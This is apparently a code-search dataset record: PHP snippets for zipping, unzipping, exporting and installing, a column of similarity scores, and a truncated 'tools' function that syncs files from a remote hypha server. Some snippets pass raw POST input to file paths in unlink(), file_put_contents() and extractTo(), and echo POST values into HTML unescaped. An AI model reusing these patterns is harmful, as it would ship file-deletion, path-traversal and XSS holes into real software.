Folder is root folder\r\n\t\t\t\t$newfolder->path = '/';\r\n\t\t\t\t$newfolder->pathid = 0;\r\n\t\t\t} else {\r\n\t\t\t\t// Puts all folders in their place :)\r\n\t\t\t\t$pathtmp = '/';\r\n\t\t\t\t$count = count($tmp);\r\n\t\t\t\twhile ($count > 3) {\r\n\t\t\t\t\t$pathtmp .= $tmp[$count - 1].'/';\r\n\t\t\t\t\t$count--;\r\n\t\t\t\t}\r\n\t\t\t\t$rec = get_record('fmanager_folders',\"name\",$tmp[2],\"path\",$pathtmp);\r\n\t\t\t\t$afolder = $rec->id;\r\n\t\t\t\t$newfolder->path = fm_get_folder_path($afolder, false, $groupid).\"/\";\r\n\t\t\t\t$newfolder->pathid = $afolder;\r\n\t\t\t}\r\n\t\t\t$newfolder->timemodified = time();\r\n\t\t\tif (!$afolder = insert_record('fmanager_folders',$newfolder)) {\r\n\t\t\t\terror(get_string('errnoinsert','block_file_manager'));\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$tmp = explode('/', $l['stored_filename']);\r\n\t\t\t$newlink = NULL;\r\n\t\t\tif($groupid ==0){\t\r\n\t\t\t\t$newlink->owner = $USER->id;\r\n\t\t\t}else{\r\n\t\t\t\t$newlink->owner = $groupid;\r\n\t\t\t}\r\n\t\t\t$newlink->type = TYPE_FILE;\t\r\n\t\t\t$rootlinkstr = '';\r\n\t\t\t// Compiles path string\r\n\t\t\t$count = count($tmp);\r\n\t\t\t$count = $count - 2;\r\n\t\t\tforeach($tmp as $t) {\r\n\t\t\t\tif ($count > 0) {\r\n\t\t\t\t\tif ($t != '') {\r\n\t\t\t\t\t\t$rootlinkstr .= '/'.$t;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$count--;\r\n\t\t\t\t}\r\n\t\t\t} \r\n\t\t\tif (substr($rootlinkstr,0,1) != '/') {\r\n\t\t\t\t$rootlinkstr = '/'.$rootlinkstr;\r\n\t\t\t}\r\n\t\t\tif ($rootlinkstr != '/') {\r\n\t\t\t\t$rootlinkstr = $rootlinkstr.'/';\r\n\t\t\t}\r\n\t\t\t$tmp = array_reverse($tmp);\r\n\t\t\tif($groupid==0){\r\n\t\t\t\t$owner = $USER->id;\r\n\t\t\t\t$newlink->ownertype = 0;\r\n\t\t\t}else{\r\n\t\t\t\t$owner = $groupid;\r\n\t\t\t\t$newlink->ownertype = 1;\r\n\t\t\t}\r\n\t\t\tif (!$foldstr = get_record('fmanager_folders',\"owner\",$owner,\"name\",$tmp[1],\"path\",$rootlinkstr)) {\r\n\t\t\t\t$foldstr->id = $currentdir;\r\n\t\t\t}\t\t\t\r\n\t\t\t\r\n\t\t\t$newlink->folder = $foldstr->id;\r\n\t\t\t$newlink->category = 0;\r\n\t\t\t$newlink->name = substr($tmp[0],0,-4);\r\n\t\t\t$newlink->description = '';\r\n\t\t\t$newlink->link = $tmp[0];\r\n\t\t\t$newlink->timemodified = time();\r\n\t\t\tif (!$alink = insert_record('fmanager_link',$newlink)) {\r\n\t\t\t\terror(get_string('errnoinsert','block_file_manager'));\r\n\t\t\t}\r\n\t\t}\t\r\n\t}\r\n //Display some info about the unzip execution\r\n if ($showstatus) {\r\n fm_unzip_show_status($list,$destpath);\r\n }\r\n\r\n return $list;\r\n}", "public function createZipArchiveDataProvider() {\n return [\n ['php://pii_data/', 'filename', 'php://pii_data/filename.zip'],\n ['temp://', 'filename', 'temp://filename.zip'],\n ];\n }", "function exportData($data, $filename, $compression=\"\")\n{\n\t$browser = getBrowserInfo();\n\tif (preg_match(\"/ie/i\", $browser[\"browser\"]))\n\t{\n\t\t$mime = \"application/octetstream\";\n\t\t$disp = 'inline';\n\t}\n\telse if (preg_match(\"/opera/i\", $browser[\"browser\"]))\n\t{\n\t\t$mime = \"application/octetstream\";\n\t\t$disp = 'attachment';\n\t}\n\telse\n\t{\n\t\t$mime = \"application/octet-stream\";\n\t\t$disp = 'attachment';\n\t}\n\n\tif($compression==\"bzip\")\n\t{\n\t\t$mime='application/x-bzip';\n\t\t$filename.= \".bz2\";\n\t}\n\telse if($compression==\"gzip\")\n\t{\n\t\t$mime='application/x-gzip';\n\t\t$filename.= \".gz\";\n\t}\n\telse if($compression==\"zip\")\n\t{\n\t\t$mime='application/x-zip';\n\t\t$filename.= \".zip\";\n\t}\n\n\theader('Content-Type: '. $mime);\n\theader('Content-Disposition: '.$disp.'; filename=\"'.$filename.'\"');\n\tif(preg_match(\"/ie/i\", $browser[\"browser\"])) header('Cache-Control: must-revalidate, post-check=0, pre-check=0');\n\theader('Pragma: no-cache');\n\theader('Expires: 0');\n\n\t// 1. as a bzipped file\n\tif($compression==\"bzip\")\n\t{\n\t\tif (@function_exists('bzcompress'))\n\t\t{\n\t\t\techo bzcompress($data);\n\t\t}\n\t}\n\t// 2. as a gzipped file\n\telse if ($compression == 'gzip')\n\t{\n\t\tif (@function_exists('gzencode'))\n\t\t{\n\t\t\techo gzencode($data);\n\t\t}\n\t}\n\telse if ($compression == 'zip')\n\t{\n\t\tif (@function_exists('gzcompress'))\n\t\t{\n\t\t\techo gzcompress($data);\n\t\t}\n\t}\n\t// 3. on screen\n\telse\n\t{\n\t\techo $data;\n\t}\n\texit;\n}", "private function extractZip($zipfilename)\n \t{\n\t\t$zip = new ZipArchive;\n\t\t$zipfilename;\n\t\tif ($zip->open($zipfilename) === TRUE)\n\t\t\t {\n\t\t\t \t\n\t\t\t\t\t$unzippath=ROOT_FOLDER.'css/'.$_POST['skinname'].'/';\n \t\t\t\t$zip->extractTo($unzippath);\n \t\t\t\t \t$zip->close();\n\t\t\t\t\tunlink($zipfilename);\n \t\t\t\t \treturn $this->insertSkin();\t\t\t\t\t\n\t\t\t }\n\t\telse \n\t\t\t{\n \t\t\t\t echo 'Failed to Extract ';\n\t\t\t}\n\t}", "public static function createZip($files = array(), $destination = '', $overwrite = false, $base)\n \t{\n \t\t$filesreturn = array();\n \t\t// if the zip file already exists and overwrite is false, return false\n \t\tif (file_exists($destination) && !$overwrite) {\n return false;\n }\n\n \t\t// vars\n \t\t$valid_files = array();\n \t\t// if files were passed in...\n \t\tif (is_array($files)) {\n \t\t\t// cycle through each file\n \t\t\tforeach($files as $file) {\n \t\t\t\tif (CREATE_PACKAGE):\n\t \t\t\t\t// make sure the file exists\n\t \t\t\t\tif (file_exists($file)):\n\t \t\t\t\t\t$valid_files[] = $file;\n\t \t\t\t\tendif;\n\t \t\t\telse:\n\t \t\t\t\t$valid_files[] = $file;\n\t \t\t\tendif;\n \t\t\t}\n \t\t}\n\n \t\t// if we have good files...\n \t\tif (count($valid_files)) {\n sleep(1);\n \t\t\t// create the archive\n \t\t\t$zip = new ZipArchive();\n\n \t\t\tif ($zip->open($destination, ZipArchive::OVERWRITE | ZipArchive::CREATE) !== true) {\n echo 'can not open';\n return false;\n }\n\n \t\t\t// add the files\n \t\t\tforeach($valid_files as $file) {\n \t\t\t\t$local = str_replace($base, '', $file);\n \t\t\t\t$filesreturn[] = $local;\n\n \t\t\t\t// check to make sure we want to create, not in test mode\n \t\t\t\tif (CREATE_PACKAGE):\n // only add files that need to be added (no directories)\n if (file_exists($file) && is_file($file)) {\n $zip->addFile($file, $local);\n }\n \t\t\t\tendif;\n \t\t\t}\n\n // debug\n \t\t\t// echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n \t\t\t// close the zip -- done!\n \t\t\t$zip->close();\n\n \t\t\t// check to make sure the file exists\n \t\t\t// return file_exists($destination);\n \t\t\treturn $filesreturn;\n \t\t}\n \t\telse\n \t\t{\n \t\t\treturn false;\n \t\t}\n \t}", "function install() {\n\t\tglobal $errorMessage;\n\n\t\tif ($_POST['command'] == 'install' && is_writable('.')) {\n\t\t\t// upzip and install files\n\t\t\t$files = explode(',', data('index'));\n\t\t\tforeach ($files as $file) {\n\t\t\t\tif (!$file)\n\t\t\t\t\tcontinue;\n\t\t\t\t$path = pathinfo($file);\n\t\t\t\t$dir = explode('/', $path['dirname']);\n\t\t\t\t$folder = '';\n\t\t\t\tforeach($dir as $d) {\n\t\t\t\t\t$folder.= ($folder ? '/' : '').$d;\n\t\t\t\t\tif (!file_exists($folder)) mkdir($folder, 0755);\n\t\t\t\t}\n\t\t\t\tfile_put_contents($file, data($file));\n\t\t\t\tchmod($file, 0664);\n\t\t\t}\n\n\t\t\t// Needed for password hashing\n\t\t\trequire_once('system/core/crypto.php');\n\n\t\t\t// create data folders\n\t\t\tmkdir('data/pages', 0755);\n\t\t\tmkdir('data/images', 0755);\n\n\t\t\t// create default page\n\t\t\t$id = uniqid();\n\t\t\t$xml = new DomDocument('1.0', 'UTF-8');\n\t\t\t$xml->preserveWhiteSpace = false;\n\t\t\t$xml->formatOutput = true;\n\t\t\t$hypha = $xml->createElement('hypha');\n\t\t\t$hypha->setAttribute('type', 'textpage');\n\t\t\t$hypha->setAttribute('multiLingual', 'on');\n\t\t\t$hypha->setAttribute('versions', 'on');\n\t\t\t$hypha->setAttribute('schemaVersion', 1);\n\t\t\t$language = $xml->createElement('language', '');\n\t\t\t$language->setAttribute('xml:id', $_POST['setupDefaultLanguage']);\n\t\t\t$version = $xml->createElement('version', '<p>welcome to your brand new hypha website.</p>');\n\t\t\t$version->setAttribute('xml:id', 't'.time());\n\t\t\t$version->setAttribute('author', '');\n\t\t\tsetNodeHtml($version, '<p>welcome to your brand new hypha website.</p>');\n\t\t\t$language->appendChild($version);\n\t\t\t$hypha->appendChild($language);\n\t\t\t$xml->appendChild($hypha);\n\t\t\t$xml->save('data/pages/'.$id);\n\n\t\t\t// build hypha.xml\n\t\t\t$xml = new DomDocument('1.0', 'UTF-8');\n\t\t\t$xml->preserveWhiteSpace = false;\n\t\t\t$xml->formatOutput = true;\n\t\t\t$hypha = $xml->createElement('hypha');\n\t\t\t$hypha->setAttribute('type', 'project');\n\t\t\t$hypha->setAttribute('defaultLanguage', $_POST['setupDefaultLanguage']);\n\t\t\t$hypha->setAttribute('defaultPage', $_POST['setupDefaultPage']);\n\t\t\t$hypha->setAttribute('email', $_POST['setupEmail']);\n\t\t\t$hypha->setAttribute('digestInterval', '21600');\n\t\t\t$hypha->setAttribute('schemaVersion', 1);\n\t\t\t$hypha->appendChild($xml->createElement('title', $_POST['setupTitle']));\n\t\t\t$header = $xml->createElement('header', $_POST['setupTitle']);\n\t\t\t$hypha->appendChild($header);\n\t\t\t$footer = $xml->createElement('footer', '');\n\t\t\tsetNodeHtml($footer, '<a href=\"http://creativecommons.org/licenses/by-sa/3.0/\"><img alt=\"Creative Commons License\" style=\"border-width: 0pt; float: right; margin-left: 5px;\" src=\"//i.creativecommons.org/l/by-sa/3.0/88x31.png\" /></a> This work is licensed under a <a href=\"http://creativecommons.org/licenses/by-sa/3.0/\">Creative Commons Attribution-ShareAlike 3.0 Unported License</a>. Website powered by <a href=\"http://www.hypha.net\">hypha</a>.');\n\t\t\t$hypha->appendChild($footer);\n\t\t\t$menu = $xml->createElement('menu', '');\n\t\t\tsetNodeHtml($menu, '<a href=\"hypha:'.$id.'\"/>');\n\t\t\t$hypha->appendChild($menu);\n\t\t\t$userList = $xml->createElement('userList', '');\n\t\t\t$user = $xml->createElement('user', '');\n\t\t\t$user->setAttribute('id', uniqid());\n\t\t\t$user->setAttribute('username', $_POST['setupUsername']);\n\t\t\t$user->setAttribute('password', hashPassword($_POST['setupPassword']));\n\t\t\t$user->setAttribute('fullname', $_POST['setupFullname']);\n\t\t\t$user->setAttribute('email', $_POST['setupEmail']);\n\t\t\t$user->setAttribute('rights', 'admin');\n\t\t\t$userList->appendChild($user);\n\t\t\t$hypha->appendChild($userList);\n\t\t\t$pageList = $xml->createElement('pageList', '');\n\t\t\t$page = $xml->createElement('page', '');\n\t\t\t$page->setAttribute('id', $id);\n\t\t\t$page->setAttribute('type', 'textpage');\n\t\t\t$page->setAttribute('private', 'off');\n\t\t\t$language = $xml->createElement('language', '');\n\t\t\t$language->setAttribute('id', $_POST['setupDefaultLanguage']);\n\t\t\t$language->setAttribute('name', $_POST['setupDefaultPage']);\n\t\t\t$page->appendChild($language);\n\t\t\t$pageList->appendChild($page);\n\t\t\t$hypha->appendChild($pageList);\n\t\t\t$hypha->appendChild($xml->createElement('digest', ''));\n\t\t\t$xml->appendChild($hypha);\n\t\t\t$xml->save('data/hypha.xml');\n\n\t\t\t// goto hypha site\n\t\t\theader('Location: '.$_POST['setupBaseUrl']);\n\t\t\texit;\n\t\t}\n\t\telse {\n\t\t\tif (!is_writable('.')) $errorMessage.= 'php has no write access to the hypa installation directory on the server<br/>';\n\n\t\t\t// extract list of languages\n\t\t\t$iso639 = json_decode(data('system/languages/languages.json'), true);\n\t\t\t$languageOptionList = '';\n\t\t\tforeach($iso639 as $code => $langName) $languageOptionList.= '<option value=\"'.$code.'\"'.( $code=='en' ? ' selected' : '').'>'.$code.': '.$langName.'</option>';\n\n\t\t\t// build html\n\t\t\tob_start();\n?>\n\t\t<div style=\"width:800px;\">\n\t\t\t<h1>hypha installer</h1>\n\t\t\tIn order to set up this new hypha site you need to fill out a few things. This is a once only procedure. The entered data will be used to create some folders, include scripts and config files in the folder where the hypha script resides.\n\t\t\t<h2>system configuration</h2>\n\t\t\tThe following settings are used to set up your project website. All settings can be changed after the initial installation.<br/>\n\t\t\t<table style=\"width:800px;\" class=\"section\">\n\t\t\t\t<tr><td width=\"240\"></td><td></td><td width=\"400\"></td></tr>\n\t\t\t\t<tr><th>title</th><td><input name=\"setupTitle\" size=\"40\" value=\"<?=$_POST['setupTitle'];?>\" /></td><td class=\"help\">The name of your site as it will appear in the browers title bar.</td></tr>\n\t\t\t\t<tr><th>base url</th><td><input name=\"setupBaseUrl\" size=\"40\" value=\"http://<?=$_SERVER[\"SERVER_NAME\"].str_replace('/hypha.php', '', $_SERVER[\"REQUEST_URI\"])?>\" /></td><td class=\"help\">This is the address where the hypha site can be found.</td></tr>\n\t\t\t\t<tr><th>default page</th><td><input name=\"setupDefaultPage\" size=\"40\" value=\"home\" value=\"<?=$_POST['setupDefaultPage'];?>\" /></td><td class=\"help\">Hypha lets you create wiki style pages which can link to each other. If no particular page is selected the site will default to this page.</td></tr>\n\t\t\t\t<tr><th>default language</th><td><select name=\"setupDefaultLanguage\"><?=$languageOptionList?></select></td><td class=\"help\">All pages can be multilingual. If a user does not choose a language the site will default to this language.</td></tr>\n\t\t\t\t<tr><th>login</th><td><input name=\"setupUsername\" size=\"40\" value=\"<?=$_POST['setupUsername'];?>\" /></td><td class=\"help\">This first user account will automatically have admin rights for site maintenance.</td></tr>\n\t\t\t\t<tr><th>password</th><td><input name=\"setupPassword\" size=\"40\" value=\"<?=$_POST['setupPassword'];?>\" /></td><td class=\"help\">The superuser password.</td></tr>\n\t\t\t\t<tr><th>full name</th><td><input name=\"setupFullname\" size=\"40\" value=\"<?=$_POST['setupFullname'];?>\" /></td><td class=\"help\">This name will be used for email messages generated by the system.</td></tr>\n\t\t\t\t<tr><th>email</th><td><input name=\"setupEmail\" size=\"40\" value=\"<?=$_POST['setupEmail'];?>\" /></td><td class=\"help\">This email adress will be the reply-to address of system sent messages. You may want to use an email alias that forwards messages to all collaborators in the group.</td></tr>\n\t\t\t\t<tr><td colspan=\"3\" style=\"text-align:right;\"><input type=\"submit\" name=\"command\" value=\"install\" /></td></tr>\n\t\t\t</table>\n\t\t</div>\n<?php\n\t\t\treturn ob_get_clean();\n\t\t}\n\t}", "private function prepareFiles() {\n $zip = new ZipArchive;\n if ($zip->open(self::PARSE_DIR . '/' . self::ARCHIVE_FILENAME) === TRUE) {\n $zip->extractTo($this->tmpFolder);\n $zip->close();\n } else {\n $this->errors[] = 'Невозможно распаковать архив!';\n }\n }", "public function makeFilename()\n {\n return getcwd().'/package'.md5(time().uniqid()).'.zip';\n }", "function create_zip($files = array(),$destination = '',$overwrite = false) {\n //if the zip file already exists and overwrite is false, return false\n if(file_exists($destination) && !$overwrite) { return false; }\n //vars\n $valid_files = array();\n //if files were passed in...\n if(is_array($files)) {\n //cycle through each file\n foreach($files as $file) {\n //make sure the file exists\n if(file_exists($file)) {\n $valid_files[] = $file;\n }\n }\n }\n //if we have good files...\n if(count($valid_files)) {\n //create the archive\n $zip = new ZipArchive();\n if($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n return false;\n }\n //add the files\n foreach($valid_files as $file) {\n $zip->addFile($file,$file);\n }\n //debug\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n \n //close the zip -- done!\n $zip->close();\n \n //check to make sure the file exists\n return file_exists($destination);\n }\n else\n {\n return false;\n }\n}", "protected function _generate() {\n\t\t\n\t\t// recuperation de l'executable\n\t\t$cmd = $this->getExecutable();\n\t\t\n\t\t// gestion des paramètres\n\t\tforeach ($this->getParam() as $param => $value) {$cmd .= ' --' . (!is_numeric($param) ? $param . '=' : '') . $value;}\n\t\t\n\t\t// connexion\n\t\tforeach (array('u ' => 'username', 'p' => 'password', 'dbname') as $prefix => $key) {\n\t\t\tif ($value = array_find($key, $this->getConfig())) {$cmd .= ' ' . (!is_numeric($prefix) ? '-' . $prefix : '') . $value;}\n\t\t\telse { \n\t\t\t\trequire_once 'Zend/Exception.php';\n\t\t\t\tthrow new Zend_Exception('Erreur paramètre de connexion : ' . $key);\n\t\t\t}\n\t\t}\n\t\t\n\t\t//construction de l'url du fichier\n\t\tif (!strlen($this->getFile())) { $this->setFile($this->getDirectory() . '/mysqldump_' . array_find('dbname', $this->getConfig()) . '_' . time() .'.sql' . ($this->getCompress() ? '.bz2' : '')); }\n\t\t\n\t\t// ajoute la fonction pour la compression\n\t\t$cmd .= $this->getCompress() ? ' | bzip2 --stdout --quiet --best ' : '';\n\t\t\n\t\t// inscirption de l'url\n\t\t$cmd .= ' > ' . $this->getFile();\n\n\t\treturn $cmd;\n\t}", "public function doOutputCompress() {}", "function extract()\n {\n $v_result=1;\n\n // ----- Reset the error handler\n $this->privErrorReset();\n\n // ----- Check archive\n if (!$this->privCheckFormat()) {\n return(0);\n }\n\n // ----- Set default values\n $v_options = array();\n// $v_path = \"./\";\n $v_path = '';\n $v_remove_path = \"\";\n $v_remove_all_path = false;\n\n // ----- Look for variable options arguments\n $v_size = func_num_args();\n\n // ----- Default values for option\n $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;\n\n // ----- Look for arguments\n if ($v_size > 0) {\n // ----- Get the arguments\n $v_arg_list = func_get_args();\n\n // ----- Look for first arg\n if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {\n\n // ----- Parse the options\n $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,\n array (PCLZIP_OPT_PATH => 'optional',\n PCLZIP_OPT_REMOVE_PATH => 'optional',\n PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',\n PCLZIP_OPT_ADD_PATH => 'optional',\n PCLZIP_CB_PRE_EXTRACT => 'optional',\n PCLZIP_CB_POST_EXTRACT => 'optional',\n PCLZIP_OPT_SET_CHMOD => 'optional',\n PCLZIP_OPT_BY_NAME => 'optional',\n PCLZIP_OPT_BY_EREG => 'optional',\n PCLZIP_OPT_BY_PREG => 'optional',\n PCLZIP_OPT_BY_INDEX => 'optional',\n PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',\n PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',\n PCLZIP_OPT_REPLACE_NEWER => 'optional'\n ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'\n ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',\n PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',\n PCLZIP_OPT_TEMP_FILE_ON => 'optional',\n PCLZIP_OPT_TEMP_FILE_OFF => 'optional'\n\t\t\t\t\t\t\t\t\t\t\t\t ));\n if ($v_result != 1) {\n return 0;\n }\n\n // ----- Set the arguments\n if (isset($v_options[PCLZIP_OPT_PATH])) {\n $v_path = $v_options[PCLZIP_OPT_PATH];\n }\n if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {\n $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];\n }\n if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {\n $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];\n }\n if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {\n // ----- Check for '/' in last path char\n if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {\n $v_path .= '/';\n }\n $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];\n }\n }\n\n // ----- Look for 2 args\n // Here we need to support the first historic synopsis of the\n // method.\n else {\n\n // ----- Get the first argument\n $v_path = $v_arg_list[0];\n\n // ----- Look for the optional second argument\n if ($v_size == 2) {\n $v_remove_path = $v_arg_list[1];\n }\n else if ($v_size > 2) {\n // ----- Error log\n PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid number / type of arguments\");\n\n // ----- Return\n return 0;\n }\n }\n }\n\n // ----- Look for default option values\n $this->privOptionDefaultThreshold($v_options);\n\n // ----- Trace\n\n // ----- Call the extracting fct\n $p_list = array();\n $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,\n\t $v_remove_all_path, $v_options);\n if ($v_result < 1) {\n unset($p_list);\n return(0);\n }\n\n // ----- Return\n return $p_list;\n }", "public function filterZipfileList()\r\n {\r\n $this->zipfile_destination = [];\r\n foreach ($this->file_list as $file) {\r\n if (is_file($file) && $file !== $this->destination_dir.'/'.$this->zip_filename ) {\r\n $destinationDir = basename($file);\r\n if(preg_match(\"/config|logs|ezpublish\\_legacy/\", $file)) {\r\n $destinationDir = str_replace($this->app_root.\"/\", \"\", $file);\r\n if(preg_match(\"/ezpublish\\_legacy/\", $file)) {\r\n $destinationDir = str_replace($this->site_root.\"/\", \"\", $file);\r\n }\r\n }\r\n $this->zipfile_destination[] = array(\"orig\" => $file, \"dest\" => $destinationDir);\r\n }\r\n }\r\n }", "public function downloadBackup() {\n $nonce = $this->getNonce();\n\n if ($nonce && isset($_GET['download'])) {\n $zipfile = $this->tempPath() . self::ZIPCOMP_STUB;\n if (file_exists($zipfile)) {\n $this->loadManifest();\n\n $filename = array(\n __CLASS__,\n $nonce,\n preg_replace('/(?:https?)?[^a-z0-9]+/i', '-', $this->manifest['home_url']),\n );\n\n header('Content-Description: File Transfer');\n header('Content-Type: application/octet-stream');\n header('Content-Disposition: attachment; filename=' . implode('-', $filename) . '.zip');\n header('Expires: 0');\n header('Cache-Control: no-cache');\n header('Content-Length: ' . filesize($zipfile));\n readfile($zipfile);\n $this->doCleanup();\n exit();\n } else {\n wp_die('No matching cambrian archive found');\n }\n }\n }", "public function execZip($sourcePath) { \n if (!file_exists($this->getPathZip())){\n mkdir($this->getPathZip());\n } \n $pathInfo = pathInfo($sourcePath); \n $parentPath = $pathInfo['dirname']; \n $dirName = $pathInfo['basename']; \n \n $z = new \\ZipArchive(); \n $z->open($this->getPathZip(). DIRECTORY_SEPARATOR . $dirName.'.zip' , \\ZIPARCHIVE::CREATE | \\ZIPARCHIVE::OVERWRITE); \n $z->addEmptyDir($dirName); \n self::folderToZip($sourcePath, $z, strlen(\"$parentPath/\")); \n $z->close(); \n }", "function getTechFiles($mission = array())\n\t{\n\t\t$exploded_file_paths = array_filter(explode(\"|\",$mission['documents_path']));\n\t\t$exploded_file_names = explode(\"|\",$mission['documents_name']);\n\t\t$zip = \"\";\n\t\t\n\t\t$files = '<table class=\"table\">';\n\t\t$k=0;\n\t\tif($mission['delete']):\n\t\tforeach($exploded_file_paths as $row)\n\t\t{\n\t\t\t$file_path=$this->mission_documents_path.$row;\n\t\t\tif(file_exists($file_path) && !is_dir($file_path))\n\t\t\t{\n\t\t\t\t$zip = true;\n\t\t\t\t$fname = $exploded_file_names[$k];\n\t\t\t\tif($fname==\"\")\n\t\t\t\t\t$fname = basename($row);\n\t\t\t\t$ofilename = pathinfo($file_path);\n\t\t\t\t$files .= '<tr><td width=\"30%\">'.$fname.'</td><td width=\"35%\">'.substr($ofilename['filename'],0,-3).\".\".$ofilename['extension'].'</td><td width=\"20%\">'.formatSizeUnits(filesize($file_path)).'</td><td>Tech</td><td align=\"center\" width=\"15%\"><a href=\"/quote/download-document?type=tech_mission&mission_id='.$mission['id'].'&index='.$k.'\"><i style=\"margin-right:5px\" class=\"splashy-download\"></i></a><span class=\"deletetech\" rel=\"'.$k.'_'.$mission['id'].'\"> <i class=\"icon-adt_trash\"></i></span></td></tr>';\t\n\t\t\t}\n\t\t\t$k++;\n\t\t}\n\t\telse:\n\t\tforeach($exploded_file_paths as $row)\n\t\t{\n\t\t\t$file_path=$this->mission_documents_path.$row;\n\t\t\tif(file_exists($file_path) && !is_dir($file_path))\n\t\t\t{\n\t\t\t\t$zip = true;\n\t\t\t\t$fname = $exploded_file_names[$k];\n\t\t\t\tif($fname==\"\")\n\t\t\t\t\t$fname = basename($row);\n\t\t\t\t$ofilename = pathinfo($file_path);\n\t\t\t\t$files .= '<tr><td width=\"30%\">'.$fname.'</td><td width=\"35%\">'.substr($ofilename['filename'],0,-3).\".\".$ofilename['extension'].'</td><td width=\"20%\">'.formatSizeUnits(filesize($file_path)).'</td><td>Tech</td><td align=\"center\" width=\"15%\"><a href=\"/quote/download-document?type=tech_mission&mission_id='.$mission['id'].'&index='.$k.'\"><i style=\"margin-right:5px\" class=\"splashy-download\"></i></a></td></tr>';\t\n\t\t\t}\n\t\t\t$k++;\n\t\t}\n\t\tendif;\t\t\t\n\t\tif($zip)\n\t\t\t$zip = '<thead><tr><td colspan=\"5\"><a href=\"/quote/download-document?type=tech_mission&index=-1&mission_id='.$mission['id'].'\" class=\"btn btn-small pull-right\">Download Zip</a></td></tr></thead>';\n\t\t$files .=$zip.\"</table>\";\n\t\treturn $files;\n\t}", "function folder_zip($main_folder)\r\n{\r\n\t\r\n\t$rootPath = realpath($main_folder);\r\n\t\r\n\t$zip = new ZipArchive();\r\n $zip->open($rootPath.'.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);\r\n\r\n $files = new RecursiveIteratorIterator(\r\n new RecursiveDirectoryIterator($rootPath),\r\n RecursiveIteratorIterator::LEAVES_ONLY);\r\n\r\nforeach ($files as $name => $file)\r\n{\r\n // Skip directories (they would be added automatically)\r\n if (!$file->isDir())\r\n {\r\n // Get real and relative path for current file\r\n $filePath = $file->getRealPath();\r\n $relativePath = substr($filePath, strlen($rootPath) + 1);\r\n $zip->addFile($filePath, $relativePath);\r\n }\r\n}\r\n$zip->close();\r\n}" ]
[ "0.7098431", "0.67109716", "0.6523865", "0.64830923", "0.64051837", "0.6371909", "0.63708913", "0.63435286", "0.6339241", "0.6333282", "0.6309595", "0.6145113", "0.61130774", "0.61100155", "0.61039877", "0.6102134", "0.60285014", "0.5964613", "0.5953326", "0.5940628", "0.59306043", "0.59306043", "0.5929503", "0.59223706", "0.5886135", "0.58720005", "0.5860648", "0.5845868", "0.5840479", "0.5832667", "0.5830818", "0.5798414", "0.57958525", "0.57879984", "0.5785521", "0.5770783", "0.5768947", "0.5752259", "0.5747157", "0.5741478", "0.5736873", "0.5732955", "0.5718693", "0.5718511", "0.570076", "0.56861824", "0.56761485", "0.56306285", "0.5620347", "0.5596914", "0.555681", "0.5553146", "0.5536806", "0.5531551", "0.5531192", "0.5529481", "0.5516518", "0.5513431", "0.5513326", "0.5507073", "0.55030805", "0.54780793", "0.54535383", "0.54535383", "0.54507226", "0.5433148", "0.54244995", "0.54166144", "0.5390567", "0.5383036", "0.5373162", "0.53635067", "0.5351327", "0.5350106", "0.5347778", "0.53454506", "0.5339227", "0.53381675", "0.53353274", "0.53352636", "0.5327864", "0.5323888", "0.53172433", "0.53108555", "0.53092986", "0.530035", "0.5300268", "0.5271305", "0.5261503", "0.5236731", "0.523369", "0.5222063", "0.5220589", "0.5218776", "0.52186894", "0.5216203", "0.5214891", "0.52093035", "0.5185347", "0.5173612" ]
0.8474213
0
/ Function: tools generates a html table with all the system files and actions on them depending on possible changes between the local file and the version on a remote hypha Parameters: $hyphaServer url of remove hypha
function tools($hyphaServer) { global $errorMessage; switch($_POST['command']) { case 'add': $data = gzdecode(base64_decode(file_get_contents($hyphaServer.'?file='.$_POST['argument']))); if ($data) { file_put_contents($_POST['argument'], $data); chmod($_POST['argument'], 0664); } else $errorMessage.= 'file transfer failed<br/>'; break; case 'remove': unlink($_POST['argument']); break; } $localIndex = index(); $serverIndex = unserialize(file_get_contents($hyphaServer.'?file=index')); ksort($serverIndex); ob_start(); ?> <div style="width:600px;"> <input type="submit" name="command" value="back" style="float:right;" /> <h1>hypha system tools</h1> Here you can manage the files of your hypha configuration. <ul> <li><b>install</b> install a (datatype) module that available on the hypha server but is currently not installed on your system.</li> <li><b>remove</b> remove a (datatype) module that is currently installed on your system.</li> <li><b>update</b> update a file on your system with a newer version available from the hypha server.</li> <li><b>reset</b> your file is newer than the version on the hypha server. You can use this option to revert to the older version. This can be useful when a file got broken or some css code was messed up.</li> </ul> </div> <table class="section"> <tr><th style="text-align:left">file</th><th colspan="2">action</th></tr> <?php foreach ($serverIndex as $file => $info) { echo '<tr><td style="white-space:nowrap;">'.$file.'</td>'; if (array_key_exists($file, $localIndex)) { echo '<td><input type="button" value="'.($localIndex[$file] < $serverIndex[$file] ? 'update' : 'reset').'" onclick="hypha(\'add\', \''.$file.'\');" /></td>'; $path = pathinfo($file); $dir = explode('/', $path['dirname']); while (isset($dir[0]) && $dir[0] == '.') array_shift($dir); $level0 = isset($dir[0]) ? $dir[0] : false; $level1 = isset($dir[1]) ? $dir[1] : false; if ($level0 == 'system' && ($level1=='datatypes' || $level1=='languages') && $path['basename']!='settings.php') echo '<td><input 